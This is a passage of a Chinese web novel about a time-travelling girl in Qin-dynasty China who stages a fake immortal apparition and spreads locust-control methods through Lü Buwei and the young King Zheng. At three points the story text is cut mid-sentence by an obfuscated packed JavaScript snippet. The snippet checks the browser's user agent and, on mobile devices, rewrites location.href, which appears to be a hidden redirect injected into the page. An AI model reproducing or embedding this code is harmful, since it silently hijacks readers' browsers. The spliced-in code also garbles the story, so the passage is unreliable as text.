现在她们耗费物力，已经激起了怨怼，您为什么不让宫廷中的将作少府接手，而任由这么一个小女孩，掌握这么大权利呢？” 秦王反问，“吕不韦还在为秦国分忧，孤为什么要急着，把那一点东西拿过来？” 天下之宝尽入秦国，是秦王与生俱来的底气。 三月，第一批培育的红薯已经种植下去，随着天气回暖，从洛阳运过来其他的红薯种子培育也被安排下去。 洛阳来的书信在月初寄到，信中一切都好。 小满继续进行皮影的制作，只是牛皮柔韧不是她的力气能做好的，只好假手于工匠之手，小满按照教程准备各色颜料。 搜集资料时，小满找到了另一种根据放映原理制作的老版画片。 就像那些在书页本边角一帧一页画上简笔人物，快速翻动时让人物流畅动起来的方法。 小满看了看皮影的雕刻进度，又看了下这边放映机的简单结构。 最后闲着无聊，拿积攒几千又一时用不了的积分，兑换了一沓纸张，开始描摹绘画的日常。 毕竟，皮影人有模板，画画可以自由发挥。 就算画不成，就当陶冶情操了。 如此每天吃饱喝足，观摩符合这个时代风格的仙人飞天资料，偶尔出门看看红薯，花草。 手动放映机做成那一天，小满做了一个梦。 半梦半醒之间，小满好像回到游戏庄园的房间，坐在书桌前，翻开了一页书。 过了一会儿，梦境慢慢清晰，那书页上写着几行字。 【秦王政四年，七月庚寅，蝗虫从东方来，蔽天。天下疫。百姓内粟千石，拜爵一级】 小满一阵惊喜，“系统，我能回来了？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230788|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【不是哒，宿主，这是人家新学的入梦之法。没有设备辅助，您的精神力无法进入游戏空间。】 【这次的重点呢，神农系统是想告诉您，蝗灾即将降临，时间不多了。 您出去游玩的时候，也看到田野里活蹦乱跳的虫子有多少了，请宿主做出应对，保护耕种成果。】 “入梦？”小满搜索了一下释义，一拍桌子，“我种田还没种好，你怎么开始走修仙剧本了？” “好姐姐，修仙带我一个。” 【位面规则限定，这个世界很少人有修炼资质，最多能做到强身健体，坚定意志。系统因为是能量体，加上与宿主绑定才能做到拉您入梦的。】 小满还不死心，“你说的这个精神力，可以修炼吗？”就算不能修仙，能进入游戏也可以啊。 游戏设定真的是她的理想生活。 过了一会儿，系统才道：【商城有相关修行法门，请宿主自行斟酌购买。】 【现在请正面回答问题。】 桌子上的书页飘在半空中，化成一个信息框，三行大字加粗闪光现于眼前。 小满看着这一列史书中截取出来的内容。仔细读了一遍。 “七月。现在不过才三月中。还有三四个月，蝗灾没成型的时候说了也不会有人相信吧？” 小满拉出备忘录记好的笔记，又添了几笔，“我已经写好了计划书，红薯勉强应对饥荒。 七月爆发蝗灾，六月行动该是不迟，火烧掩埋，或者再早一点五月开始，以秦国的动员能力应该不成问题。” 至于怎么说服秦王或者吕不韦，她还没想好。 遇到难处，小满开始推诿，“系统，你既然掌握了入梦之法，能不能跟他们托个梦，就说七月有蝗灾，让他们预防一下。” 【系统非人类，需要以宿主为媒介，对位面产生影响】 【以系统当前能力，如果保证入梦质量，完整传达信息，需要在他们入睡情况下，在能观察到情况的地方呆上两个时辰，您能做到吗？】 就是想入梦，得让她跟对方在同一空间呆两个时辰？ “不好意思，不行。”小满摆手拒绝，“先不说这一行为多变态吧，我是肉体凡胎，如果被发现当刺客处置，嘎了你能救得回吗？” 系统计算了一下，【百分之七十概率，我们共同化为位面规则的一部分。】 小满啧了一声，继续正事，“这个蝗虫从东方来，是洛阳还是更东一点？” 【需要您实地考察。】 好的，有空就去。 小满去翻商城里的修炼法门去了。 一个蓝色封皮，看起来破破烂烂的旧书，五百积分。 购买之后，点开那相当古朴的书封，看着相当有意境的修炼动作，小满想起一些预案。 “关于预言蝗灾，来点篝火狐鸣，鱼腹传书，怎么样？” 【玄奇但不够响亮】 “那短句口号加上乡野童谣？” 【响亮但不够取信】 “那只能我出马了，”小满叹口气，“破费点金银，购买还没变性的蝗虫炸了吃，激发民众抓蝗虫积极性，再用纸张皮影，传播一下治蝗之法。” 【还是用前两个吧，完成的可能性大点，被抓的可能性小点。】 小满想想也很难可取，以能遮蔽天空的蝗虫量来说，可以买到她，包括系统积分内的财产破产。 以这个时代迷信来说，她烤完蝗虫如果再发生蝗灾，饥荒加上瘟疫催生的恐慌，可以让她成为下一个被祭天的人牲。 退一万步说，小满说服了秦王吕不韦，秦国发挥动员能力，把境内蝗虫处理大半，如果不能处理其他地方过来的蝗虫，一样会聚集成灾。 这完全是吃力不讨好的事，还是摆烂吧。 19. 19超凡 四月，至雍四畤，祭祀青帝，祈求风调雨顺。 王上年少，未冠，秦国宗正宗室代为主持。 吕不韦为百官之长，率重要官员同去雍城。 雍城为秦国旧都，供奉着秦国宗庙，重大的祭祀都要到雍城来举行。 青帝是秦国祭祀的天帝之一。 为了表示诚意，宗室官员尽皆驾着马车，前往渭南的密畤，举行祭祀仪式。 被留在蕲年宫的小满站在高处一个栏杆旁，紧紧盯着南方的天空，“系统，时间到了吗？” 【到了】 接到提示，小满抬头，就看见一片红色霞光，氤氲升起。 如烟似雾，又似乎有些形状掩藏其中，影影绰绰看不清楚。 举行祭祀仪式时，会有焚烧玉器金纸彩帛等步骤，蒸腾烟气，视为与上天沟通的象征。 偶尔烧的东西不同，会有异象发生，祭祀的巫祝带领下，一般认为是有效沟通或者得到仙人认可的意思。 于是参礼的王室大臣纷纷磕头跪拜。 重头戏还在后面。 傍晚时分，小满抱着一个精致华丽的影人，等待时间一分一秒流逝。 估摸着差不多了，小满呼唤了一声，“系统？” 光屏闪了闪，【在】 “洛阳那边怎么样了？” 【任务已完成】 然后，是一段影像，庄严肃穆的周王城之上，半明半暗的天空为背景，一个霓裳羽衣的仙子出现在城门楼阁上。 仙子挥袖，跃升到更高的楼阁顶上，朝西凝望片刻，口中念着什么。 最后落下一张纸笺，飘然而去。 视角向下，城门外一群平民，虔诚跪倒祈求护佑。 “好，这样有了仙人示警，蝗灾应该不被认为是天降灾祸，就好处理多了。” 皮影和放映机的任务，有两个达成条件，系统任务本来只是为了文化传播，增加影响力，任选其一就行。 完成简约动画放映机时，小满领到手了积分。 等到皮影做好时，小满翻看着系统还在修炼（加载中）的仙法集锦，让系统又赠送了一个隐藏款奖励。 景象投影。 用法术将环境变幻，号为移景之法。 这一法术实在不能更妙，既考虑蝗虫从东方来的影响范围，又能隐藏脆皮宿主。 系统虽然修行未成，不过虚拟投影是系统的老本行了，修仙与科技两相结合一下，不成问题。 当然想要达成她要的效果，还需要她去布置一下，将一块特殊属性的石头放在城楼之上，供系统发挥。半个月行程也足够了。 投影是假的，预言纸笺是真的。 那张纸便是事先放在檐下，等着系统演完一场，招风吹下。 小满满意的将周文字抄录好的治蝗方法收好。 打算在洛阳仙人现世的情报送来之前，将这些纸送到秦王或者吕不韦跟前。 飘下去的那张纸上，只用一些短句写了旱灾与蝗虫的关系，用火除蝗的方法，毕竟要念出去，写太多影响形象。 刚做好准备，随即意识被拉扯着，陷入一片虚无梦境。 梦境中是无际的黑暗，黑暗中若隐若现的星子，是潜藏其中野兽的眼睛。 小满似乎看到一道黑影从地底升起，最后的星光也隐去，那黑影发出充斥着整个空间的声音，“尔等凡人，擅用仙法，泄露天机，可知何罪？” 这便是系统说过的位面意识？ 这压迫感还真是……像极了大制作场面。 黑影似乎是一个玄鸟的形状，以冲天而起的姿势停驻，翎羽漂浮在空中，整个散发着黑色光芒，爪子两边有数团，不知道是火是云的形状，同样散发着黑色光芒。 玄鸟从来高昂的头部微微低下，从上而下凝视着那两个不遵守规则的渺小生灵。头上几缕纤细翎羽，画出优美的黑色弧度。 “尔等今日趁吾闭关，酉时在周王城上空，以仙法造幻象，伪装神迹，祸乱世人，按规则当受天……” 这位可是言出法随，绝不能让它说完。 小满连忙放下手中的皮影，行礼打断位面意识玄鸟发言， “不过是凡人的一点小把戏，让仙人见笑了。如此兴师动众，真是令在下受宠若惊啊。” 玄鸟清鸣一声，“凡人把戏？” 小满点头，“请为仙人试演之。” 鸟头轻点，得到许可，系统很快布置好场景。 一黑箱，一黑幕。仅此而已。 黑箱之中，是系统出品的手摇放映机，里面有强光源，有几个光学透镜，画片细节丰富，比小满做出来的不知精致多少。 但也算这个时代勉强能达到的巅峰。 一种无形的力量摇动黑箱伸出来的轴把，幕布上出现一个放大的影像，华彩高挑的仙人驻足凝眸，犹豫片刻然后御风而去。 一切都是理想状态，放映机原理决定，画面需要一帧一页切过，还是有肉眼看不出的卡顿。 比起利用仙法与科技在洛阳投影的又差一筹。 不过在凡人肉眼中那是一样的华美精致高不可攀，在仙人眼中则是一样的简陋粗糙，毫无差别。 “这……”在它的幻境中，玄鸟自然能看出，那些影像的出现，画中人活动起来，没用任何仙术。 也不是有精怪附身其上，才让画动起来。 虽然那黑箱子的物品是由法术构建起来的，可看起来也不过是凡间普通物件。 不知过了多久，黑暗退去，雷霆收歇，小满睁开眼睛，“系统，我好像做了一个梦。” 【已经过去啦。玄鸟作为位面意识，处事还算公正】 【那些东西都是凡人能够做到的，没有超出规则之外。没有理由处罚，它自然就走了】 小满似乎感觉到一个猫团子扑到自己身上，蹭了蹭。顺手撸了一把。 猫团子不自信的踩了踩，【宿主，你能看到我了吗？】 “嗯？”小满不确定的又撸了一把，抬头看到一双铜铃似的眼睛，好像黑夜里打开了的探照灯，确定是猫团子。 【恭喜宿主通灵，勤加修炼，很快就能回庄园玩耍了。】 之前得到修炼法门，每天修炼吐息，除了感觉心情不那么烦躁不安，几乎没什么作用。 现在不用借着系统光屏，就能看见猫团子，应该是入门了？ “好好，”修炼终于进了一步，小满也很开心，“对了，你需要借助我做媒介，玄鸟应该也需要吧？” “玄鸟路过，宿主媒介一定有感应，快趁这机会，把治蝗方法送过去，就当神谕了。” 【好吧】 小满分析过，现在战国之中，秦国最强，一国杠六国，位面意识与位面情况息息相关的，当与秦国联系最深。 加上现在是秦国祭祀的时候，位面意识的媒介肯定是秦国最高的意志，秦王？宗室？吕不韦？ 无论哪一个，只要感应到玄奇存在，一张纸加上不久后洛阳的消息传过来，治蝗的事一定能推行下去。 做出飞天幻境这种酷炫奇观，影响力不加就算了，还得在头顶上监视的玄鸟眼皮子底下雷点蹦迪，系统也很无奈。 另一边，蕲年宫最深处的大殿，秦王嬴政陷入深沉的梦境中。 一只玄鸟不知何时出现在宫殿中的玄鸟，远远审视着这个幼王。 秦王梦境中，一个仙人在有点眼熟的楼阁之上，飞天的场景重复了两遍，心底冒出一个声音，有区别吗？没有吧？ “什么人？”好似那声音太过扰人，梦中的人突然惊起。 嬴政察觉到似乎有东西在注视着这边，抽出悬挂的宝剑，朝隔着垂下来的绘有玄鸟图腾帘幕的外殿而去。 当然什么也没发现。殿中布置着桌案书简，空无一人。 门口听见门内动静的护卫呼唤了一声，“王上。” 嬴政归剑入鞘，“进来。” 门被推开，涌入的空气让嬴政感觉到一点湿气，“下雨了？” 被允许进入听令的郎中应道：“回王上，是的。” “晚上有人过来么？” “没有。” 嬴政挥挥手，“没事，退下吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230789|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 殿门关上，门内光线暗了一截，嬴政正要回去，转身看到一张不知何时出现的纸闪着柔光，落在桌案上。 嬴政疑惑的上前，刚看一行字，耳边似乎听见一声隐约的清啼。 即使有这么多事情将纸的出现指向玄奇之事，嬴政还是观察了一番周围人，没发现什么奇怪的事。 系统传送之后，确认道：【玄鸟认可的是秦王】 小满点点头，“那剩下的一张，还需不需要送到吕不韦那？” 虽然吕府之中，她有一定权限，出入还算自由。不过洛阳还有一张简略版的纸，动作越多破绽越大。 当日天将蒙蒙亮时，小满准备让系统发挥一下功力，将纸张送到吕不韦跟前，不知哪里飞来一只色彩斑斓的小鸟，啄在她头上。 小鸟乱啄一通，将变成光团的系统，抓虫子一样叼走了。 “喂。”小满急忙追出去，就看到系统挣扎着变成猫型，脱身之后，扭身去扑小鸟。 小鸟悚然一惊，直直飞高了两丈。然后转过来，挑脆皮未成年凡人欺负，“人，管好你的狸奴。” “……玄鸟？” 回到咸阳，过了两天秦王召见太卜令。 秦王召来太卜开始问今年农事的占卜，“依太卜所占，今年农事如何？” 太卜令回答，“回王上，今月畤祭过青帝之后，夜间便下了一场雨，想必是上天听到了秦国的请求。” 嬴政想起那一张详尽的捕蝗文，虽然上面不是秦国文字，嬴政在赵国也曾识文习字，所以大部分也能看懂。 不过还是找了精通文字的博士，翻译了一遍。 “除了旱情，还会有其他灾祸吗？” 太卜令见多识广，自然知道，旱情跟着的是饥荒，饥荒易引发战乱兵戈，虽说秦国这几年都在打仗。 今年已经攻打了魏国的畼，有诡，三月才收兵驻扎，难道还要兴刀兵？ 太卜令委婉道：“这……旱情灾祸太重，恐怕需要一两年时间恢复民生。” 嬴政不置可否，“孤前日在雍得了一梦，梦见仙人从城楼飞天而舞，何解？” 闻言，太卜令立马跪下行了个大礼，“王上，梦见仙人乃是吉兆，代表秦国会度过此次劫难。梦境中仙人于城楼飞天而舞，当是上天降下指示，只是老臣一时没有参透。” “不知陛下可还记得是什么样的城楼？仙人所行是何舞？” 嬴政缓缓说出自己的猜测，“城楼是王城规格，当是洛阳那座。仙人之舞……” 这个时代没有威亚，凌空还是比较少见的。 嬴政形容了一下，太卜令摇摇头表示未曾见过，被打发回去翻阅典籍。 嬴政想了想，另召来郎中令，卫尉，令他们派人去查探田野旱情蝗虫的情况。 几日后，咸阳周边田野的大致情况编成竹简，摆上秦王案头，嬴政刚打开浏览一遍，殿门外传来通报。 “相邦大人求见。” 宣吕不韦入殿之后，嬴政便放下竹简，拿起另外一份誊抄翻译过的治蝗策。 吕不韦快步入殿，一边喊道：“王上，大吉啊。” 站稳之后，行了个长长的躬礼，“洛阳来报，王城有仙人现世，听看到的黔首说，那仙人频频西顾，有垂青秦国之意。” 嬴政眯起眼睛，“此言当真？” 不怪他疑心，毕竟这一切太过巧合。 “当然，”吕不韦肯定道，这种众目睽睽之下的景象，家臣丞如何造假骗他？而且随着消息一起过来的还有证据。 吕不韦从袖中掏出一张带着花纹和香气的纸张，“王上，这是当日仙人留下的警示。” 带着花纹的纸张摆到秦王跟前，上面写着几行字： 天晴好，苗枯焦， 水尽处，潜蝗蝻。 螽斯羽，蔽天过， 秉畀炎火，救我禾秧。 吕不韦激动不已，“仙人一定是希望秦继承周的天命，护佑天下黔首民生。” 嬴政眼睛闪了闪，拿出另一个外表一模一样的纸张，“仲父，请看这个帛纸。” 20. 20 行动 “没想到，……王上那里居然还有更详尽的文字。难道背后……” 仙人身影出现在他的封地洛邑，这肯定预示着什么，本来想到这一层十分得意的吕不韦，看到嬴政手里拿出来的书笺，一时差点没绷住表情。 上面的内容博士已经译出大概了，总归对大秦有利，吕不韦放下那一点心思，积极推进着捉虫灭蝗之事。 数天之后，秦王庭颁出了田野之中汲水除蝗的政令。 秦国按上天的旨意消灭蝗虫，保护禾苗，期间，鼓励黔首去自己田里捕捉害虫，上交官府最多的，可以免除更役，优先借到官府水车农具耕牛等。 郡县吏隶，服役的人一起按朝中下发的竹简方法灭蝗，白天挖坑撅渠，晚上点起火堆。每日按人数上交不等重量的蝗虫。 征调养鸡鸭禽类商户，赶到田野去吃虫子…… 然后大肆宣扬了，秦国受到上天眷顾，获得仙人启示的事情。 春夏之间虫子陡然泛滥，有人依旧认为可能是蝗神弄法作怪，但是禾神同样出现，指示凡人灭蝗护禾。 还给了详尽的操作方法，当然是选择能喂饱大家肚子的打法了。 小满看了一下召令，虽然没有预设中的官府出钱让黔首捉蝗虫，但是交官府一斗蝗虫可免半斗租税。 鉴于荒年有钱也买不到粮食，而且有收成不好的年头减少租税的措施，也算适应当前的措施。 小满作为相关萌新，凭本能判断这时候风俗是否合理的，完全没有置啄的想法。 只是她得离开了。 原本史书一句“蝗虫东来”，小满没放在心上。 毕竟在秦国这事都要靠装神弄鬼，让秦王吕不韦去推动，东方六国什么的，她的手实在伸不了那么远。 何况“仙人现身”的地方在旧周王城，给出了灭蝗的理由，其他国家没道理惧怕迟疑而不行动。 那天猫扑鸟事件之后，玄鸟将她拉入幻境，却说，“你既知后事，应该知道那些东西是从东边来的，” 然后一挥手，一片勃勃生机的景象展现在眼前，是关中青色的田野。 “这些凡人，将禾苗维护的那么好，” 横亘的河渠边，大小河流上许多汲水工具，在人力畜力拉动下日夜不停的运转，小小的人影像蚂蚁一样在其中忙碌。 王庭之中，手握大权的公卿大臣在争论，治栗内史慷慨陈词， “王上三思啊，以蝗抵租，会影响今年租税，去年因旱情租税本就宽宥了一些，今年还不知收成多少，已经定了最低的租税，若再减去恐怕就要影响军粮了。” 执笔御史跳出来反驳，“仙人已经预言了蝗虫之祸，王上也派人巡察捕捉，证实了恐有蝗灾是真的。若不施措阻止，蝗虫一过，一粒粮食也不给你留下，还说什么军粮吏禄？” 城郊尉令署，几个兵卒将捉来的虫子称量记录，之后喂给鸡鸭鸟雀，或者倒到釜中烹煮，验证是否可以食用。 “更多的禾苗，只是会让虫子吃的更好一点，挺得更久一点。” 玄鸟的声音无悲无喜，只是少了空旷飘渺的神意，让听者还是有种对方在悲悯的感觉。“这个世界是平衡的，虫子不会避开绿色，反而会蜂蛹过来。” 这是怪我喽？ 小满咬牙切齿，“捕捉蝗虫是黔首们为了保住自己的禾苗，不过尽人事听天命。” “前日多谢二位的表演助兴。我也有一点小小的回礼，往东走，七月，你就会看到。” 哦，这是什么意思？ 玄鸟的声音越发轻远，听着像已经飞走了，留下小满一头雾水。 难道这传说中公正的位面意识，还能为了平衡，弄出更多蝗虫来？ 用过夕食，小满提出一事，“父亲，我该回洛阳了。” 吕不韦面露疑惑，“这边呆的好好的，怎么想回去了？” “育苗之法已经教的差不多了，今年的红薯种苗大都种下了，而且有洛阳来的护卫，他们都是种植过红薯的，父亲可以放心。” “我听说洛阳有仙人降世，想回去看看。” 吕不韦点点头。“最近去洛阳的人，可不少呢。” 咸阳大部分的人，虽然不知道为何王上与相邦对仙人之事深信不疑，但刚传出消息时，也有些知道仙人的，派人去洛阳查探真伪。 “正好宫室快应修好了，此事过后，也该回去举行祭祀仪式。” 送别时，穆夫人塞给她一个信符，“今岁不太平，你便住在洛阳宅邸，事情办完快点回来。” 回洛阳走的是水路，与来时风景殊异。河边许多木棚，河两岸支流处，能看到许多用来汲水的桔槔龙骨车。 田间地头除了浇水除草，还有不少捉捕虫子的。 到了洛邑附近的渡口转为陆路，此时天气渐暖，草木新芽，田中麦苗虽然萎黄稀疏，看起来还有不少生机。 洛阳城滞留了一天，离开时发现城门内外，大小路口多了许多供奉果台，焚香祈祷的黔首百姓。 小满抽了抽嘴角，不忍多看，匆匆路过。 回到六里庄之左近，才能看到大片的红薯土豆种植痕迹。 甚至山野林间也有。 除蝗的召令同样颁来到了这里，田野地头，许多黔首拿着竹筒竹筐，到处捉着活泼蹦哒的蝗虫。 不知谁喊了一声，“贵人回来了。” 许多人直起身跟小满打招呼。“贵人吃了吗？来点虫子不？” 因为这个虫子没有变异时可以吃，还有很多人一捧捧的往车上塞，让小满尝尝鲜。 “吃过了。”小满一边挥手回应一边，“多谢多谢，已经够了，不用了。” 带回去之后，小满发现扬用草串了好几串蝗虫晒在屋檐下。 烹饪之后，小满克服心理障碍，尝了一下，发现味道还可以。 过了两天，小满想起来另一个许久没见的人，“煦呢？” 扬眨眨眼睛，“他去服更役了。那孩子身量够了，加上最近组织捕蝗，需要人手，一同被征召去县里了。” 小满点点头，问起另一个事情。 “留下的红薯种子，没有分出去吗？” 听到这个问题，扬脸色一变，“分出去了一些，只是其中有些变故。” 小满看着扬含糊的样子，追问道：“什么变故？” 扬没犹豫多久，组织了一下语言，一边归拢着小满带回来的东西，一边道：“你走的那日夜间，院子里遭了小贼，只是咱们红薯窖存在地下，没被找到。那两个小贼也被发现，扭送洛阳。” “后来，大家都觉得咸阳只需取走两窖，便多了个心眼，只说了这边三个窖坑的位置， 按您的吩咐，给洛阳城里送一半的时候，县丞派人来取走，余下的分给众多街坊邻人，只是那些种子大都发芽不顺。” 扬当时忙碌不堪，只觉得一切如云里雾里，后面回想起来，只怕是被人使了坏心。 “打开来看时，里面已经冻坏了。又将煦存的红薯种子拉过来，与附近里庄人将坏的种子换回来，手把手的去教种植。到了三月，还想种植的都垦了些荒地种了下去。” 这时再去想讨个说法，可连跟着红薯去教授种植方法的两人，也因为送到洛阳的种子发芽率不好，忙了许久只种了几十亩荒地，被挤兑着赶出来了。 小满心梗了一下，还好损耗都在考虑范围内，没想到这边还能出这种事，“你们没事就好。” “我们去洛阳，我倒要问问那些接收的人，近万斤红薯种在哪里了。” 她这几天御车在周围巡看蝗虫分布时，留意过红薯种植。 “种红薯的地方多是零碎地块或者新开垦荒地，总的算下来一两千亩，最多种了六千斤，算上损耗也最多不到八千斤。剩下的都去哪里了？” 最关键的是，她从渡口到洛阳，从洛阳到住的地方，除了住的地方附近，很少见到红薯栽种的痕迹。 扬连忙拉住小满，“月儿，没有的。” “没有什么？” “没有万斤。”扬有点不好意思，“我记得储存的时候，月儿说一窖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230790|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约有万斤。县丞带人运走了半窖之数，应该不足万斤。” 然后解释道：“咸阳运走两窖之后，较远的那个窖藏比这边的都小些。我等恐不够种植，便打算这边的一窖也留下一点。” “只是洛阳来的县吏，并不将覆盖草木麻藤的保热之约放在心上，搬出吕……相邦来也无济于事，搬运之时只拿了寥寥草茎覆盖完事。我们便……” 留下的扬等便咬定只剩这一窖，不肯再给了，所以县丞只带走了一窖的一半。 还真是个机灵鬼啊。 比起让人端走泼了，肉还是烂自己锅里算了。“那剩下的去哪了？” 扬招招手，“月儿跟我来。” 小满跟着来到原本护院住着的院子，发现这里原本空置的房子住着五六个妇人小孩。原本沉默的人群，一见人来，都纷纷起身行礼。 小满握住扬的手，“我记着，我就带回来了一对吧？怎么突然冒出来这么多？” 扬略微俯身，低声解释，“主君不知，这些都是逃荒的人。那时护卫们抽调去了咸阳，便招了这些浮民帮忙耕种，有些不能种的粮食还能吃，便做了口粮。” “前几天听说有的地方大户，田里捉虫子三斗可以换一斗粟，那些丈夫们都去了，只留下这些妇孺。” 这招来的帮工都快比原住民多了吧？ 小满想起去咸阳时，路上碰到的那些流民，“人多混杂，需得注意安全。” 扬点点头，“主君放心，那些男子丈夫都在外面耕种，种完红薯，平时在自己找活路。” 不是重女轻男，只是第一若有歹意危害程度不同，第二，几个妇孺不算起眼，虽都是生面孔，但是给人的观感不一样，若是一群男子想到这庄里，里长也不让进。 小满走查过周围，此时是越冬的蝗虫长成不久，还没有多少虫卵，聚柴焚土。 只在合适的地方挖坑，布上挡板纱网，召集人们将虫子往坑中赶去，最后填埋焚烧。 处理完附近的虫子，小满继续朝更远的地方查看，偶尔碰见有成队除蝗的人群，小满便拿出工具，加入其中。 后来范围远了，便索性住在洛阳城里，每次出行带上吕府上的护卫，干活时指挥起来，一起行动。 治蝗时的一些方法细节也很快在洛阳周边传播开来。 经过一轮除虫，蝗虫密度有所降低，但虫子是杀不完的，黔首们还是慢慢将重心转到真正能饱口腹的农事。 现在已经是五月了，该是农忙的时候了，今年收成虽然不佳，但是有比没有好。 被派遣到洛阳的吕蜴，查探过仙人降世之事，又去看了水泥建造的宫室，与父亲去了回报信牍。 回到洛阳，又发现了一些小惊喜，“没想到小妹对治蝗居然也极有心得，为什么不曾听说，小妹在咸阳向父亲进言？” 小满微微一笑，“吾也是亲到田间，才能有的这些心得想法。阿兄，若是想要吾可以整理成册让阿兄献上，只是需得应我一件事。” “小妹的想法，我可不敢居功。”吕蜴摇摇手，他知道父亲母亲对这个小妹的宠爱，他与兄弟已经各自立家，虽然不能承欢膝下。出于对父母的尊敬，对这个小妹也不由重视一二。 “什么事情说来听听。” “年初之时，吾献了一些山上的特产运往咸阳。” 吕蜴应道：“小妹说的可是红薯？” “正是。” “吾去那里庄看过，几十亩地就能产出数千钧的粮食，当真是神奇，不外乎父亲如此重视，战时抽调车船来运。” “因为这红薯贫瘠之地也可生长，父亲当时给洛阳留下了一半，准备在周边种植。没想到有人阳奉阴违，取走红薯却任由腐坏！” 那可是几千斤红薯，比她一年前兑换出来的还多，就那样被浪费了！ 好心痛。 “阿兄……” 吕蜴冷笑一声，“有些人胆子真是越发大了。父亲的命令也敢违抗。”说着起身唤人备好车马。 “我们一起去官署看看。” 21. 21信陵君 两人坐车来到洛阳官署。吕家符牌开路一路畅通无阻，等到署衙内，一声通报，县丞卫亲自前来迎接。 “见过长公子，女公子。”县丞卫脸带笑意，低眉顺眼的行礼。 “免礼。我今日前来有一事不解。” 县丞卫有些汗颜，“请长公子明言。” “今年仲春，小妹往咸阳进献红薯，洛阳领受多少？” “约有两千五百钧。” “那种出了多少？” 县丞卫忍不住开始擦汗，“约有百亩。” “据我所知，在咸阳红薯百钧之数可种百亩了，你有什么话说吗？” “长公子恕罪，”原本就有些谦卑的县丞卫普通一声跪下了，“二月之时天气寒冷，那种子冻坏了一部分，才只得了这么些弱苗，堪堪种满百亩之田。” “何况，何况洛阳人口众多，本就没有闲余之地可供耕种……” “你还狡辩！”小满忍不住拍桌而起，“你既知种子寒冷易冻，为什么不备草木隔冷？咸阳之远都能保存十之七八，难道你看不见？” “你既说种不下，且不说那些种子贫地可耕，为什么不还回来？烂掉的种子还堆在城外不远，你就敢如此信口胡说。” 那些烂掉的红薯，她在周边捕蝗的时候已经发现了，据说烂的不狠的时候，还有黔首想捡回去吃，也被吏人阻止了。 “我看你是不满相邦命令，不想坐这位置了。” 县丞卫连连拱手，“下臣不敢，实在是无心之失。” 吕蜴失望摇头，“丞卫，父亲命你代守洛阳，本是看在你是旧时老人兼有能力胜任，种子坏腐之事，你最轻是不胜任之罪。” “来人，即日令丞卫搬出署衙，关押寒室，等问过父亲再行裁决。” “公子，长公子，如今正值捕蝗麦收，还有事情亟待处理，请长公子网开一面。”门口被呼入的护卫，顿住脚步，等着进一步命令。 吕蜴看着脸色更冷，“那些杂务我可以暂任。” 小满将亲身实践的灭蝗事整理好，拿给吕蜴，顺便打听一下魏国情况，找过去的门路，方知道秦国二三月的战争正是跟魏国打的。 借吕府身份，走正规路子恐怕不行了，小满考虑着要不要寻郑造，先去韩国，后面一路游看，有发现的话再转道。 偶然在吕府发现一个行踪可疑的人，那人自称来投亲，找的却都是魏国旧人，每日出门四处打探，还拿着竹简写写画画。 小满让人跟踪了半天，才打探清楚，这人是魏国来投奔的，原本在探听一些仙人临凡之事，后面经常跑出去问一些灭蝗之策。 恐怕是东方六国来探听虚实的谍子，不过打探的都是秦国或者小满想扩散出去的普通事情。 小满来到这人落脚的地方，看这人正在一颗树下，对着家家都捉了不少的蝗虫，写画不停，上前道：“你在抄录什么？” “没什么。”那人连忙收起手中竹简，上下打量着小满，“阁下是何人？” “你不认识我？”原本以为这人直接找到了吕府，应该对府上的人有点了解，不过这样也好。 “我是洛阳人口，有事情需要去魏国一行。听说阁下是魏国人士，近日正要返魏，不知可否同行？” 那人一脸警惕，“你去魏国做什么？” “听闻魏公子信陵君是当世君子大才，礼贤下士，招养门客三千，在下不才，有一策想去进献试一试。” 信陵君魏无忌，战国四公子之首。 门下有三千门客，曾经窃符夺取魏国军队指挥，与楚国联军，打退了已经围了邯郸的秦军。 战国四公子，都以招贤纳士，左右国政而闻名，吕不韦觉得秦国国力强盛，不能在这方面落后，于是也豢养三千门客。 信陵君属于小满在历史和现实方面都有所耳闻的人物，如果说有人能像秦王掌控秦国一样，影响六国，那就非这位公子莫属。 如果不是面前只有一个看起来手无缚鸡之力的小孩，陈佐几乎以为自己暴露了。 稳了稳心神才道：“什么计策？” 小满瞥了一眼对方手中的竹简，“治蝗之策。” “这恐怕不妥……诶？” 最终陈佐带上了她，小满与家里，吕府都说有事在身，暂时不回去了，拎上小包裹，跑去与对方汇合了。 做完准备，第二日两人跟着通行的商队上了路。 路上两人交换了姓名，开始讨论治蝗之策。 拿着小满叙说，自己记下的治蝗方法，陈佐叹了一声，“我本也是为了仙人降世的传说而来。” 坐在车尾的小满接道：“先生对鬼神之说有兴趣？” 陈佐摆摆手，“只是凑个热闹。” 他学的是儒家学说，从来敬鬼神而远之，这次与同行人一起过来，只是仗着博览群书，想找些破绽。 